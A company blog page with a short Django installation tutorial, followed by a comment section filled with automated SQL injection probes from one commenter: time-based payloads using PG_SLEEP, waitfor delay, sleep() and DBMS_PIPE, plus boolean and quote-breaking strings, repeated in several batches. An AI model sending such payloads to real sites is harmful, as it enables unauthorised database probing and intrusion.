Software Solutions Company

Django Installation Steps

Oct. 14, 2022
Author: Asif Shahzad | Full Stack Web Developer


Django is a Python web framework, so you need to have Python installed on your system. You can download Python from the official website, https://www.python.org/downloads/. When installation finish then follow these steps for Djnago installation:

1. Create virtual environment

Create a folder of your project and open it. Select address bar and type CMD and press ENTER. Command Prompt will open in that location.

My project name is Project in this case. Now create virtual environment using following command:

python -m venv venv

 It is suggested to have a dedicated virtual environment for each Django project. When created, activate virual environment by using following code:

.\venv\Scripts\activate # Activate for Windows

source venv/bin/activate # Activate for Mac OS

Activated virtual environment looks like this:

Activate the virtual environment every time you open the command prompt to work on your project.

 

2. Install Django

pip install Django

This will give the following result:

Type following to upgrade

pip install --upgrade pip

Now Django is istalled successfully!

pip list command will give you the list of all the Python packages that have been installed in your virtual environment with versions.

If you want only Djnago version then use following command:

django-admin --version

 

3. Create Project

Decide a suitable name for your project then follow the code:

django-admin startproject mysite

cd mysite

python manage.py runserver

This will show following result:

Type 127.0.0.1:8000 in the address bar of browser and press ENTER.

 

You can see the folder Project and another folder named mysite

4. Create App

Apps in Django are designed to be modular and reusable, which means that they can be easily integrated into different projects. This allows developers to build complex web applications by combining different apps with different functionalities. Type the follwoing code to create an app:

python manage.py startapp main

App named main is created with its components like admin.py, apps.py, etc

 

 


Next topic Django CURD Application


Asif Shahzad | Full Stack Web Developer

Welcome to our Software Solutions Company, where we excel in transforming ideas into tangible realities. We have expertise in developing online management systems, website designing & development, software solutions, mobile app development, e-commerce solutions and graphic designing. We provide 24/7 services.

Latest Comments

Software Solutions Company

pHqghUme

Oct 29, 2024

@@4XQ4O

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

LftXDYsJ')) OR 869=(SELECT 869 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

uHCfEqUQ') OR 659=(SELECT 659 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

ZxoTiawY' OR 661=(SELECT 661 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1)) OR 780=(SELECT 780 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 472=(SELECT 472 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 27=(SELECT 27 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

BNOV9Yt0'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+436-436-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+436-436-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+855-855-1=0+0+0+1 or '4BwTituK'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+855-855-1=0+0+0+1 or '4BwTituK'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+68-68-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+68-68-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+222-222-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+222-222-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+965-965-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+965-965-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

7TnPsgQJ

Software Solutions Company

pHqghUme

Oct 29, 2024

@@5Xd90

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

b9jc4anX')) OR 757=(SELECT 757 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

6ulYjR5h') OR 794=(SELECT 794 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

K1TKy7GU' OR 186=(SELECT 186 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1)) OR 11=(SELECT 11 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 701=(SELECT 701 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 904=(SELECT 904 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

sAYlekMs'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+406-406-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+406-406-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+484-484-1=0+0+0+1 or 'kcZrR5NG'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+484-484-1=0+0+0+1 or 'kcZrR5NG'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+912-912-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+912-912-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+337-337-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+337-337-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+872-872-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+872-872-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

D09o9TNK

Software Solutions Company

pHqghUme

Oct 29, 2024

@@3R3UZ

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

BR3a5JWa')) OR 982=(SELECT 982 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

K95ZVnlm') OR 182=(SELECT 182 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

juKgAn2o' OR 314=(SELECT 314 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1)) OR 947=(SELECT 947 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 444=(SELECT 444 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 332=(SELECT 332 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

FMPCQZdF'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+844-844-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+844-844-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+983-983-1=0+0+0+1 or 'LGTlXdxk'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+983-983-1=0+0+0+1 or 'LGTlXdxk'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+205-205-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+205-205-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+681-681-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+681-681-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+777-777-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+777-777-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

ggILtzvl

Software Solutions Company

pHqghUme

Oct 29, 2024

@@nMPvc

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

7MPSygIU')) OR 941=(SELECT 941 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

OPYKgX6F') OR 611=(SELECT 611 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

24aSEB9n' OR 304=(SELECT 304 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1)) OR 833=(SELECT 833 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 779=(SELECT 779 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 173=(SELECT 173 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

ea40XLr8'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+408-408-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+408-408-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+27-27-1=0+0+0+1 or 'w8y1tey7'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+27-27-1=0+0+0+1 or 'w8y1tey7'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+68-68-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+68-68-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+108-108-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+108-108-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+910-910-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+910-910-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

zaMBFNht

Popular Posts






Call To Action

Do you Need a website?

Order Now